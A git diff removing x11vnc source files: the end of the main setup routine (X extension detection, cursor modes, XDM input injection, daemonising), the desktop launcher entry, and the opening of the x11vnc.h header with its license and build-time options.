-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
- if (! XDamageQueryExtension(dpy, &xdamage_base_event_type, &er)) {
- if (! quiet && ! raw_fb_str) {
- rfbLog("Disabling X DAMAGE mode: display does not support it.\n");
- }
- xdamage_base_event_type = 0;
- xdamage_present = 0;
- } else {
- xdamage_present = 1;
- }
-#endif
- if (! xdamage_present) {
- use_xdamage = 0;
- }
- if (! quiet && xdamage_present && use_xdamage && ! raw_fb_str) {
- rfbLog("X DAMAGE available on display, using it for polling hints.\n");
- rfbLog(" To disable this behavior use: '-noxdamage'\n");
- rfbLog("\n");
- rfbLog(" Most compositing window managers like 'compiz' or 'beryl'\n");
- rfbLog(" cause X DAMAGE to fail, and so you may not see any screen\n");
- rfbLog(" updates via VNC. Either disable 'compiz' (recommended) or\n");
- rfbLog(" supply the x11vnc '-noxdamage' command line option.\n");
- }
-
- if (! quiet && wireframe && ! raw_fb_str) {
- rfbLog("\n");
- rfbLog("Wireframing: -wireframe mode is in effect for window moves.\n");
- rfbLog(" If this yields undesired behavior (poor response, painting\n");
- rfbLog(" errors, etc) it may be disabled:\n");
- rfbLog(" - use '-nowf' to disable wireframing completely.\n");
- rfbLog(" - use '-nowcr' to disable the Copy Rectangle after the\n");
- rfbLog(" moved window is released in the new position.\n");
- rfbLog(" Also see the -help entry for tuning parameters.\n");
- rfbLog(" You can press 3 Alt_L's (Left \"Alt\" key) in a row to \n");
- rfbLog(" repaint the screen, also see the -fixscreen option for\n");
- rfbLog(" periodic repaints.\n");
- if (scale_str && !strstr(scale_str, "nocr")) {
- rfbLog(" Note: '-scale' is on and this can cause more problems.\n");
- }
- }
-
- overlay_present = 0;
-#if defined(SOLARIS_OVERLAY) && !NO_X11
- if (! XQueryExtension(dpy, "SUN_OVL", &maj, &ev, &er)) {
- if (! quiet && overlay && ! raw_fb_str) {
- rfbLog("Disabling -overlay: SUN_OVL extension not available.\n");
- }
- } else {
- overlay_present = 1;
- }
-#endif
-#if defined(IRIX_OVERLAY) && !NO_X11
- if (! XReadDisplayQueryExtension(dpy, &ev, &er)) {
- if (! quiet && overlay && ! raw_fb_str) {
- rfbLog("Disabling -overlay: IRIX ReadDisplay extension not available.\n");
- }
- } else {
- overlay_present = 1;
- }
-#endif
- if (overlay && !overlay_present) {
- overlay = 0;
- overlay_cursor = 0;
- }
-
- /* cursor shapes setup */
- if (! multiple_cursors_mode) {
- multiple_cursors_mode = strdup("default");
- }
- if (show_cursor) {
- if(!strcmp(multiple_cursors_mode, "default")
- && xfixes_present && use_xfixes) {
- free(multiple_cursors_mode);
- multiple_cursors_mode = strdup("most");
-
- if (! quiet && ! raw_fb_str) {
- rfbLog("\n");
- rfbLog("XFIXES available on display, resetting cursor mode\n");
- rfbLog(" to: '-cursor most'.\n");
- rfbLog(" to disable this behavior use: '-cursor arrow'\n");
- rfbLog(" or '-noxfixes'.\n");
- }
- }
- if(!strcmp(multiple_cursors_mode, "most")) {
- if (xfixes_present && use_xfixes &&
- overlay_cursor == 1) {
- if (! quiet && ! raw_fb_str) {
- rfbLog("using XFIXES for cursor drawing.\n");
- }
- overlay_cursor = 0;
- }
- }
- }
-
- if (overlay) {
- using_shm = 0;
- if (flash_cmap && ! quiet && ! raw_fb_str) {
- rfbLog("warning: -flashcmap may be incompatible with -overlay\n");
- }
- if (show_cursor && overlay_cursor) {
- char *s = multiple_cursors_mode;
- if (*s == 'X' || !strcmp(s, "some") ||
- !strcmp(s, "arrow")) {
- /*
- * user wants these modes, so disable fb cursor
- */
- overlay_cursor = 0;
- } else {
- /*
- * "default" and "most", we turn off
- * show_cursor since it will automatically
- * be in the framebuffer.
- */
- show_cursor = 0;
- }
- }
- }
-
- initialize_cursors_mode();
-
- /* check for XTEST */
- if (! XTestQueryExtension_wr(dpy, &ev, &er, &maj, &min)) {
- if (! quiet && ! raw_fb_str) {
- rfbLog("\n");
- rfbLog("WARNING: XTEST extension not available (either missing from\n");
- rfbLog(" display or client library libXtst missing at build time).\n");
- rfbLog(" MOST user input (pointer and keyboard) will be DISCARDED.\n");
- rfbLog(" If display does have XTEST, be sure to build x11vnc with\n");
- rfbLog(" a working libXtst build environment (e.g. libxtst-dev,\n");
- rfbLog(" or other packages).\n");
- rfbLog("No XTEST extension, switching to -xwarppointer mode for\n");
- rfbLog(" pointer motion input.\n");
- }
- xtest_present = 0;
- use_xwarppointer = 1;
- } else {
- xtest_present = 1;
- xtest_base_event_type = ev;
- if (maj <= 1 || (maj == 2 && min <= 2)) {
- /* no events defined as of 2.2 */
- xtest_base_event_type = 0;
- }
- }
-
- if (! XETrapQueryExtension_wr(dpy, &ev, &er, &maj)) {
- xtrap_present = 0;
- } else {
- xtrap_present = 1;
- xtrap_base_event_type = ev;
- }
-
- /*
- * Window managers will often grab the display during resize,
- * etc, using XGrabServer(). To avoid deadlock (our user resize
- * input is not processed) we tell the server to process our
- * requests during all grabs:
- */
- disable_grabserver(dpy, 0);
-
- /* check for RECORD */
- if (! XRecordQueryVersion_wr(dpy, &maj, &min)) {
- xrecord_present = 0;
- if (! quiet) {
- rfbLog("\n");
- rfbLog("The RECORD X extension was not found on the display.\n");
- rfbLog("If your system has disabled it by default, you can\n");
- rfbLog("enable it to get a nice x11vnc performance speedup\n");
- rfbLog("for scrolling by putting this into the \"Module\" section\n");
- rfbLog("of /etc/X11/xorg.conf or /etc/X11/XF86Config:\n");
- rfbLog("\n");
- rfbLog(" Section \"Module\"\n");
- rfbLog(" ...\n");
- rfbLog(" Load \"record\"\n");
- rfbLog(" ...\n");
- rfbLog(" EndSection\n");
- rfbLog("\n");
- }
- } else {
- xrecord_present = 1;
- }
-
- initialize_xrecord();
-
- tmpi = 1;
- if (scroll_copyrect) {
- if (strstr(scroll_copyrect, "never")) {
- tmpi = 0;
- }
- } else if (scroll_copyrect_default) {
- if (strstr(scroll_copyrect_default, "never")) {
- tmpi = 0;
- }
- }
- if (! xrecord_present) {
- tmpi = 0;
- }
-#if !LIBVNCSERVER_HAVE_RECORD
- tmpi = 0;
-#endif
- if (! quiet && tmpi && ! raw_fb_str) {
- rfbLog("\n");
- rfbLog("Scroll Detection: -scrollcopyrect mode is in effect to\n");
- rfbLog(" use RECORD extension to try to detect scrolling windows\n");
- rfbLog(" (induced by either user keystroke or mouse input).\n");
- rfbLog(" If this yields undesired behavior (poor response, painting\n");
- rfbLog(" errors, etc) it may be disabled via: '-noscr'\n");
- rfbLog(" Also see the -help entry for tuning parameters.\n");
- rfbLog(" You can press 3 Alt_L's (Left \"Alt\" key) in a row to \n");
- rfbLog(" repaint the screen, also see the -fixscreen option for\n");
- rfbLog(" periodic repaints.\n");
- if (scale_str && !strstr(scale_str, "nocr")) {
- rfbLog(" Note: '-scale' is on and this can cause more problems.\n");
- }
- }
-
- if (! quiet && ncache && ! raw_fb_str) {
- rfbLog("\n");
- rfbLog("Client Side Caching: -ncache mode is in effect to provide\n");
- rfbLog(" client-side pixel data caching. This speeds up\n");
- rfbLog(" iconifying/deiconifying windows, moving and raising\n");
- rfbLog(" windows, and reposting menus. In the simple CopyRect\n");
- rfbLog(" encoding scheme used (no compression) a huge amount\n");
- rfbLog(" of extra memory (20-100MB) is used on both the server and\n");
- rfbLog(" client sides. This mode works with any VNC viewer.\n");
- rfbLog(" However, in most you can actually see the cached pixel\n");
- rfbLog(" data by scrolling down, so you need to re-adjust its size.\n");
- rfbLog(" See http://www.karlrunge.com/x11vnc/faq.html#faq-client-caching.\n");
- rfbLog(" If this mode yields undesired behavior (poor response,\n");
- rfbLog(" painting errors, etc) it may be disabled via: '-ncache 0'\n");
- rfbLog(" You can press 3 Alt_L's (Left \"Alt\" key) in a row to \n");
- rfbLog(" repaint the screen, also see the -fixscreen option for\n");
- rfbLog(" periodic repaints.\n");
- if (scale_str) {
- rfbLog(" Note: '-scale' is on and this can cause more problems.\n");
- }
- }
- if (ncache && getenv("NCACHE_DEBUG")) {
- ncdb = 1;
- }
-
- /* check for OS with small shm limits */
- if (using_shm && ! single_copytile) {
- if (limit_shm()) {
- single_copytile = 1;
- }
- }
-
- single_copytile_orig = single_copytile;
-
- /* check for MIT-SHM */
- if (! XShmQueryExtension_wr(dpy)) {
- xshm_present = 0;
- if (! using_shm) {
- if (! quiet && ! raw_fb_str) {
- rfbLog("info: display does not support XShm.\n");
- }
- } else {
- if (! quiet && ! raw_fb_str) {
- rfbLog("\n");
- rfbLog("warning: XShm extension is not available.\n");
- rfbLog("For best performance the X Display should be local. (i.e.\n");
- rfbLog("the x11vnc and X server processes should be running on\n");
- rfbLog("the same machine.)\n");
-#if LIBVNCSERVER_HAVE_XSHM
- rfbLog("Restart with -noshm to override this.\n");
- }
- exit(1);
-#else
- rfbLog("Switching to -noshm mode.\n");
- }
- using_shm = 0;
-#endif
- }
- } else {
-#if !NO_X11
- int op, ev, er;
- if (XQueryExtension(dpy, "MIT-SHM", &op, &ev, &er)) {
- xshm_opcode = op;
- if (0) fprintf(stderr, "xshm_opcode: %d %d %d\n", op, ev, er);
- }
-#endif
- }
-
-#if LIBVNCSERVER_HAVE_XKEYBOARD
- /* check for XKEYBOARD */
- initialize_xkb();
- initialize_watch_bell();
- if (!xkb_present && use_xkb_modtweak) {
- if (! quiet && ! raw_fb_str) {
- rfbLog("warning: disabling xkb modtweak. XKEYBOARD ext. not present.\n");
- }
- use_xkb_modtweak = 0;
- }
-#endif
-
- if (xkb_present && !use_xkb_modtweak && !got_noxkb) {
- if (use_modifier_tweak) {
- switch_to_xkb_if_better();
- }
- }
-
-#if LIBVNCSERVER_HAVE_LIBXRANDR
- if (! XRRQueryExtension(dpy, &xrandr_base_event_type, &er)) {
- if (xrandr && ! quiet && ! raw_fb_str) {
- rfbLog("Disabling -xrandr mode: display does not support X RANDR.\n");
- }
- xrandr_base_event_type = 0;
- xrandr = 0;
- xrandr_maybe = 0;
- xrandr_present = 0;
- } else {
- xrandr_present = 1;
- }
-#endif
-
- check_pm();
-
- if (! quiet && ! raw_fb_str) {
- rfbLog("--------------------------------------------------------\n");
- rfbLog("\n");
- }
-
- raw_fb_pass_go_and_collect_200_dollars:
-
- if (! dpy || raw_fb_str) {
- int doit = 0;
- /* XXX this needs improvement (esp. for remote control) */
- if (! raw_fb_str || strstr(raw_fb_str, "console") == raw_fb_str) {
-#ifdef MACOSX
- doit = 1;
-#endif
- }
- if (raw_fb_str && strstr(raw_fb_str, "vnc") == raw_fb_str) {
- doit = 1;
- }
- if (doit) {
- if (! multiple_cursors_mode) {
- multiple_cursors_mode = strdup("most");
- }
- initialize_cursors_mode();
- use_xdamage = orig_use_xdamage;
- if (use_xdamage) {
- xdamage_present = 1;
- initialize_xdamage();
- }
- }
- }
-
- if (! dt) {
- static char str[] = "-desktop";
- argv_vnc[argc_vnc++] = str;
- argv_vnc[argc_vnc++] = choose_title(use_dpy);
- rfb_desktop_name = strdup(argv_vnc[argc_vnc-1]);
- }
-
- /*
- * Create the XImage corresponding to the display framebuffer.
- */
-
- fb0 = initialize_xdisplay_fb();
-
- /*
- * In some cases (UINPUT touchscreens) we need the dpy_x dpy_y
- * to initialize pipeinput. So we do it after fb is created.
- */
- initialize_pipeinput();
-
- /*
- * n.b. we do not have to X_LOCK any X11 calls until watch_loop()
- * is called since we are single-threaded until then.
- */
-
- initialize_screen(&argc_vnc, argv_vnc, fb0);
-
- if (waited_for_client) {
- if (fake_fb) {
- free(fake_fb);
- fake_fb = NULL;
- }
- if (use_solid_bg && client_count) {
- solid_bg(0);
- }
- if (accept_cmd && strstr(accept_cmd, "popup") == accept_cmd) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl, cl0 = NULL;
- int i = 0;
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- i++;
- if (i != 1) {
- rfbLog("WAIT popup: too many clients\n");
- clean_up_exit(1);
- }
- cl0 = cl;
- }
- rfbReleaseClientIterator(iter);
- if (i != 1 || cl0 == NULL) {
- rfbLog("WAIT popup: no clients.\n");
- clean_up_exit(1);
- }
- if (! accept_client(cl0)) {
- rfbLog("WAIT popup: denied.\n");
- clean_up_exit(1);
- }
- rfbLog("waited_for_client: popup accepted.\n");
- cl0->onHold = FALSE;
- }
- if (macosx_console) {
- refresh_screen(1);
- }
- if (dpy && xdmcp_insert != NULL) {
-#if !NO_X11
- char c;
- int n = strlen(xdmcp_insert);
- KeyCode k, k2;
- KeySym sym;
- int i, ok = 1;
- for (i = 0; i < n; i++) {
- c = xdmcp_insert[i];
- sym = (KeySym) c;
- if (sym < ' ' || sym > 0x7f) {
- ok = 0;
- break;
- }
- k = XKeysymToKeycode(dpy, sym);
- if (k == NoSymbol) {
- ok = 0;
- break;
- }
- }
- if (ok) {
- XFlush_wr(dpy);
- usleep(2*1000*1000);
- if (!quiet) {
- rfbLog("sending XDM '%s'\n", xdmcp_insert);
- }
- for (i = 0; i < n; i++) {
- c = xdmcp_insert[i];
- sym = (KeySym) c;
- k = XKeysymToKeycode(dpy, sym);
- if (isupper(c)) {
- k2 = XKeysymToKeycode(dpy, XK_Shift_L);
- XTestFakeKeyEvent_wr(dpy, k2, True, CurrentTime);
- XFlush_wr(dpy);
- usleep(100*1000);
- }
- if (0) fprintf(stderr, "C/k %c/%x\n", c, k);
- XTestFakeKeyEvent_wr(dpy, k, True, CurrentTime);
- XFlush_wr(dpy);
- usleep(100*1000);
- XTestFakeKeyEvent_wr(dpy, k, False, CurrentTime);
- XFlush_wr(dpy);
- usleep(100*1000);
- if (isupper(c)) {
- k2 = XKeysymToKeycode(dpy, XK_Shift_L);
- XTestFakeKeyEvent_wr(dpy, k2, False, CurrentTime);
- XFlush_wr(dpy);
- usleep(100*1000);
- }
- }
- k2 = XKeysymToKeycode(dpy, XK_Tab);
- XTestFakeKeyEvent_wr(dpy, k2, True, CurrentTime);
- XFlush_wr(dpy);
- usleep(100*1000);
- XTestFakeKeyEvent_wr(dpy, k2, False, CurrentTime);
- XFlush_wr(dpy);
- usleep(100*1000);
- }
- free(xdmcp_insert);
-#endif
- }
- check_redir_services();
- }
-
- if (! waited_for_client) {
- if (try_http && ! got_httpdir && check_httpdir()) {
- http_connections(1);
- }
- if (ssh_str != NULL) {
- ssh_remote_tunnel(ssh_str, screen->port);
- }
- }
-
- initialize_tiles();
-
- /* rectangular blackout regions */
- initialize_blackouts_and_xinerama();
-
- /* created shm or XImages when using_shm = 0 */
- initialize_polling_images();
-
- initialize_signals();
-
- initialize_speeds();
-
- if (speeds_read_rate_measured > 80) {
- /* framebuffer read is fast at > 80 MB/sec */
- int same = 0;
- if (waitms == defer_update) {
- same = 1;
- }
- if (! got_waitms) {
- waitms /= 2;
- if (waitms < 5) {
- waitms = 5;
- }
- if (!quiet) {
- rfbLog("fast read: reset -wait ms to: %d\n", waitms);
- }
- }
- if (! got_deferupdate && ! got_defer) {
- if (defer_update > 10) {
- if (same) {
- defer_update = waitms;
- } else {
- defer_update = 10;
- }
- if (screen) {
- screen->deferUpdateTime = defer_update;
- }
- rfbLog("fast read: reset -defer ms to: %d\n", defer_update);
- }
- }
- }
-
- initialize_keyboard_and_pointer();
-
- if (inetd && use_openssl) {
- if (! waited_for_client) {
- accept_openssl(OPENSSL_INETD, -1);
- }
- }
- if (! inetd && ! use_openssl) {
- if (! screen->port || screen->listenSock < 0) {
- if (got_rfbport && got_rfbport_val == 0) {
- ;
- } else if (ipv6_listen && ipv6_listen_fd >= 0) {
- rfbLog("Info: listening only on IPv6 interface.\n");
- } else {
- rfbLogEnable(1);
- rfbLog("Error: could not obtain listening port.\n");
- if (!got_rfbport && !got_ipv6_listen) {
- rfbLog("If this system is IPv6-only, use the -6 option.\n");
- }
- clean_up_exit(1);
- }
- }
- }
-
-#ifdef MACOSX
- if (remote_cmd || query_cmd) {
- ;
- } else if (macosx_console) {
- double dt = dnow();
- copy_screen();
- dt = dnow() - dt;
- rfbLog("macosx_console: copied screen in %.3f sec %.1f MB/sec\n",
- dt, dpy_x * dpy_y * bpp / (1e+6 * 8 * dt));
-
- }
-#endif
-
- if (! quiet) {
- rfbLog("screen setup finished.\n");
- if (SHOW_NO_PASSWORD_WARNING && !nopw) {
- rfbLog("\n");
- rfbLog("WARNING: You are running x11vnc WITHOUT"
- " a password. See\n");
- rfbLog("WARNING: the warning message printed above"
- " for more info.\n");
- }
- }
- set_vnc_desktop_name();
-
- if (ncache_beta_tester && (ncache != 0 || ncache_msg)) {
- ncache_beta_tester_message();
- }
-
- if (remote_cmd || query_cmd) {
- /* This is DIRECT: case */
- do_remote_query(remote_cmd, query_cmd, remote_sync, query_default);
- if (getenv("SLEEP")) sleep(atoi(getenv("SLEEP")));
- clean_up_exit(0);
- }
-
-#if LIBVNCSERVER_HAVE_FORK && LIBVNCSERVER_HAVE_SETSID
- if (bg) {
- int p, n;
- if (getenv("X11VNC_LOOP_MODE_BG")) {
- if (screen && screen->listenSock >= 0) {
- close(screen->listenSock);
- FD_CLR(screen->listenSock,&screen->allFds);
- screen->listenSock = -1;
- }
- if (screen && screen->httpListenSock >= 0) {
- close(screen->httpListenSock);
- screen->httpListenSock = -1;
- }
- if (openssl_sock >= 0) {
- close(openssl_sock);
- openssl_sock = -1;
- }
- if (https_sock >= 0) {
- close(https_sock);
- https_sock = -1;
- }
- if (openssl_sock6 >= 0) {
- close(openssl_sock6);
- openssl_sock6 = -1;
- }
- if (https_sock6 >= 0) {
- close(https_sock6);
- https_sock6 = -1;
- }
- if (ipv6_listen_fd >= 0) {
- close(ipv6_listen_fd);
- ipv6_listen_fd = -1;
- }
- if (ipv6_http_fd >= 0) {
- close(ipv6_http_fd);
- ipv6_http_fd = -1;
- }
- }
- /* fork into the background now */
- if ((p = fork()) > 0) {
- exit(0);
- } else if (p == -1) {
- rfbLogEnable(1);
- fprintf(stderr, "could not fork\n");
- perror("fork");
- clean_up_exit(1);
- }
- if (setsid() == -1) {
- rfbLogEnable(1);
- fprintf(stderr, "setsid failed\n");
- perror("setsid");
- clean_up_exit(1);
- }
- /* adjust our stdio */
- n = open("/dev/null", O_RDONLY);
- dup2(n, 0);
- dup2(n, 1);
- if (! logfile) {
- dup2(n, 2);
- }
- if (n > 2) {
- close(n);
- }
- }
-#endif
-
- watch_loop();
-
- return(0);
-
-#undef argc
-#undef argv
-
-}
-
diff --git a/x11vnc/x11vnc.desktop b/x11vnc/x11vnc.desktop
deleted file mode 100644
index b7a8ad2..0000000
--- a/x11vnc/x11vnc.desktop
+++ /dev/null
@@ -1,10 +0,0 @@
-[Desktop Entry]
-Name=X11VNC Server
-Comment=Share this desktop by VNC
-Exec=x11vnc -gui tray=setpass -rfbport PROMPT -bg -o %%HOME/.x11vnc.log.%%VNCDISPLAY
-Icon=computer
-Terminal=false
-Type=Application
-StartupNotify=false
-#StartupWMClass=x11vnc_port_prompt
-Categories=Network;RemoteAccess;
diff --git a/x11vnc/x11vnc.h b/x11vnc/x11vnc.h
deleted file mode 100644
index 015531d..0000000
--- a/x11vnc/x11vnc.h
+++ /dev/null
@@ -1,699 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_X11VNC_H
-#define _X11VNC_X11VNC_H
-
-/* -- x11vnc.h -- */
-/*
- * These ' -- filename.[ch] -- ' comments represent a partial cleanup:
- * they are an odd way to indicate how this huge file would be split up
- * someday into multiple files.
- *
- * The primary reason we have not broken up this file is for user
- * convenience: those wanting to use the latest version download a single
- * file, x11vnc.c, and off they go...
- */
-
-/****************************************************************************/
-
-/* Standard includes and libvncserver */
-
-#include <unistd.h>
-#include <signal.h>
-#include <sys/utsname.h>
-#ifdef __hpux
-/* to avoid select() compiler warning */
-#include <sys/time.h>
-#endif
-#include <time.h>
-#include <errno.h>
-
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <ctype.h>
-
-#include <rfb/rfb.h>
-#include <rfb/rfbregion.h>
-
-
-/* we can now build under --without-x: */
-#if LIBVNCSERVER_HAVE_X11
-
-#define NO_X11 0
-#include <X11/Xlib.h>
-#include <X11/Xutil.h>
-
-#include <X11/keysym.h>
-#include <X11/Xatom.h>
-
-#else
-
-#define NO_X11 1
-#ifndef SKIP_NO_X11
-#include "nox11.h"
-#endif
-#include <rfb/keysym.h>
-
-#endif
-
-/****************************************************************************/
-
-
-/*
- * Build-time customization via CPPFLAGS.
- *
- * Summary of options to include in CPPFLAGS for custom builds:
- *
- * -DVNCSHARED to have the vnc display shared by default.
- * -DFOREVER to have -forever on by default.
- * -DNOREPEAT=0 to have -repeat on by default.
- * -DXINERAMA=0 to have -noxinerama on by default.
- * -DADDKEYSYMS=0 to have -noadd_keysyms the default.
- *
- * -DREMOTE_DEFAULT=0 to disable remote-control on by default (-yesremote).
- * -DREMOTE_CONTROL=0 to disable remote-control mechanism completely.
- * -DEXTERNAL_COMMANDS=0 to disable the running of all external commands.
- * -DTIGHTFILEXFER=0 disable tightfilexfer.
- *
- * -DHARDWIRE_PASSWD=... hardwired passwords, quoting necessary.
- * -DHARDWIRE_VIEWPASSWD=...
- * -DNOPW=1 make -nopw the default (skip warning)
- * -DUSEPW=1 make -usepw the default
- * -DPASSWD_REQUIRED=1 exit unless a password is supplied.
- * -DPASSWD_UNLESS_NOPW=1 exit unless a password is supplied and no -nopw.
- *
- * -DCURSOR_DRAG=1 to have -cursor_drag as the default.
- * -DWIREFRAME=0 to have -nowireframe as the default.
- * -DWIREFRAME_COPYRECT=0 to have -nowirecopyrect as the default.
- * -DWIREFRAME_PARMS=... set default -wirecopyrect parameters.
- * -DSCROLL_COPYRECT=0 to have -noscrollcopyrect as the default.
- * -DSCROLL_COPYRECT_PARMS=... set default -scrollcopyrect parameters.
- * -DSCALING_COPYRECT=0
- * -DXDAMAGE=0 to have -noxdamage as the default.
- * -DSKIPDUPS=0 to have -noskip_dups as the default or vice versa.
- *
- * -DPOINTER_MODE_DEFAULT={0,1,2,3,4} set default -pointer_mode.
- * -DBOLDLY_CLOSE_DISPLAY=0 to not close X DISPLAY under -rawfb.
- * -DSMALL_FOOTPRINT=1 for smaller binary size (no help, no gui, etc)
- * use 2 or 3 for even smaller footprint.
- * -DNOGUI do not include the gui tkx11vnc.
- * -DSKIP_HELP=1 smaller.
- * -DSKIP_XKB=1 a little smaller.
- * -DSKIP_8to24=1 a little smaller.
- * -DPOLL_8TO24_DELAY=N
- * -DDEBUG_XEVENTS=1 enable printout for X events.
- *
- * -DX11VNC_MACOSX_USE_GETMAINDEVICE use deprecated GetMainDevice on macosx
- *
- * -DX11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS={0,1}
- * -DX11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS={0,1}
- * -DX11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER={0,1}
- *
- * or for all:
- *
- * -DX11VNC_MACOSX_NO_DEPRECATED=1
- *
- * env. var. of the same names as above can be set to imply true.
- *
- * Set these in CPPFLAGS before running configure. E.g.:
- *
- * % env CPPFLAGS="-DFOREVER -DREMOTE_CONTROL=0" ./configure
- * % make
- */
-
-/*
- * This can be used to disable the remote control mechanism.
- */
-#ifndef REMOTE_CONTROL
-#define REMOTE_CONTROL 1
-#endif
-
-#ifndef XINERAMA
-#define XINERAMA 1
-#endif
-
-#ifndef NOPW
-#define NOPW 0
-#endif
-
-#ifndef USEPW
-#define USEPW 0
-#endif
-
-#ifndef PASSWD_REQUIRED
-#define PASSWD_REQUIRED 0
-#endif
-
-#ifndef PASSWD_UNLESS_NOPW
-#define PASSWD_UNLESS_NOPW 0
-#endif
-
-/* some -D macros for building with old LibVNCServer */
-#ifndef LIBVNCSERVER_HAS_STATS
-#define LIBVNCSERVER_HAS_STATS 1
-#endif
-
-#ifndef LIBVNCSERVER_HAS_SHUTDOWNSOCKETS
-#define LIBVNCSERVER_HAS_SHUTDOWNSOCKETS 1
-#endif
-
-#ifndef LIBVNCSERVER_HAS_TEXTCHAT
-#define LIBVNCSERVER_HAS_TEXTCHAT 1
-#endif
-
-#ifdef PRE_0_8_LIBVNCSERVER
-#undef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
-#undef LIBVNCSERVER_HAS_STATS
-#undef LIBVNCSERVER_HAS_SHUTDOWNSOCKETS
-#undef LIBVNCSERVER_HAS_TEXTCHAT
-#define LIBVNCSERVER_HAS_STATS 0
-#define LIBVNCSERVER_HAS_SHUTDOWNSOCKETS 0
-#define LIBVNCSERVER_HAS_TEXTCHAT 0
-#endif
-
-/* these are for delaying features: */
-#define xxNO_NCACHE
-
-/*
- * Beginning of support for small binary footprint build for embedded
- * systems, PDA's etc. It currently just cuts out the low-hanging
- * fruit (large text passages). Set to 2, 3 to cut out some of the
- * more esoteric extensions. More tedious is to modify LDFLAGS in the
- * Makefile to not link against the extension libraries... but that
- * should be done too (manually for now).
- *
- * If there is interest more of the bloat can be removed... Currently
- * these shrink the binary from 1100K to about 600K.
- */
-#ifndef SMALL_FOOTPRINT
-#define SMALL_FOOTPRINT 0
-#endif
-
-#ifndef SKIP_XKB
-#define SKIP_XKB 0
-#endif
-#ifndef SKIP_8TO24
-#define SKIP_8TO24 0
-#endif
-#ifndef SKIP_HELP
-#define SKIP_HELP 0
-#endif
-
-#if SMALL_FOOTPRINT
-#undef NOGUI
-#define NOGUI
-#undef SKIP_HELP
-#define SKIP_HELP 1
-#endif
-
-#if (SMALL_FOOTPRINT > 1)
-#undef SKIP_XKB
-#undef SKIP_8TO24
-#undef LIBVNCSERVER_HAVE_LIBXINERAMA
-#undef LIBVNCSERVER_HAVE_LIBXFIXES
-#undef LIBVNCSERVER_HAVE_LIBXDAMAGE
-#define SKIP_XKB 1
-#define SKIP_8TO24 1
-#define LIBVNCSERVER_HAVE_LIBXINERAMA 0
-#define LIBVNCSERVER_HAVE_LIBXFIXES 0
-#define LIBVNCSERVER_HAVE_LIBXDAMAGE 0
-#endif
-
-#if (SMALL_FOOTPRINT > 2)
-#undef LIBVNCSERVER_HAVE_UTMPX_H
-#undef LIBVNCSERVER_HAVE_PWD_H
-#undef REMOTE_CONTROL
-#define LIBVNCSERVER_HAVE_UTMPX_H 0
-#define LIBVNCSERVER_HAVE_PWD_H 0
-#define REMOTE_CONTROL 0
-#endif
-
-#ifndef X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS
-#if X11VNC_MACOSX_NO_DEPRECATED
-#define X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS 1
-#else
-#define X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS 0
-#endif
-#endif
-
-#ifndef X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS
-#if X11VNC_MACOSX_NO_DEPRECATED
-#define X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS 1
-#else
-#define X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS 0
-#endif
-#endif
-
-#ifndef X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER
-#if X11VNC_MACOSX_NO_DEPRECATED
-#define X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER 1
-#else
-#define X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER 0
-#endif
-#endif
-
-/*
- * Not recommended unless you know what you are getting into, but if you
- * define the HARDWIRE_PASSWD or HARDWIRE_VIEWPASSWD variables here or in
- * CPPFLAGS you can set a default -passwd and -viewpasswd string values,
- * perhaps this would be better than nothing on an embedded system, etc.
- * These default values will be overridden by the command line.
- * We don't even give an example ;-)
- */
-
-/****************************************************************************/
-
-/* Extensions and related includes: */
-
-#if LIBVNCSERVER_HAVE_XSHM
-# if defined(__hpux) && defined(__ia64) /* something weird on hp/itanic */
-# undef _INCLUDE_HPUX_SOURCE
-# endif
-#include <sys/ipc.h>
-#include <sys/shm.h>
-#include <X11/extensions/XShm.h>
-#endif
-#if LIBVNCSERVER_HAVE_SHMAT
-#include <sys/ipc.h>
-#include <sys/shm.h>
-#endif
-
-#include <dirent.h>
-
-#if LIBVNCSERVER_HAVE_XTEST
-#include <X11/extensions/XTest.h>
-#endif
-extern int xtest_base_event_type;
-
-#if LIBVNCSERVER_HAVE_LIBXTRAP
-#define NEED_EVENTS
-#define NEED_REPLIES
-#include <X11/extensions/xtraplib.h>
-#include <X11/extensions/xtraplibp.h>
-extern XETC *trap_ctx;
-#endif
-extern int xtrap_base_event_type;
-
-#if LIBVNCSERVER_HAVE_RECORD
-#include <X11/Xproto.h>
-#include <X11/extensions/record.h>
-#endif
-
-#if LIBVNCSERVER_HAVE_XKEYBOARD
-#include <X11/XKBlib.h>
-#endif
-
-#if LIBVNCSERVER_HAVE_LIBXINERAMA
-#include <X11/extensions/Xinerama.h>
-#endif
-
-#if LIBVNCSERVER_HAVE_SYS_SOCKET_H
-#include <sys/socket.h>
-#endif
-
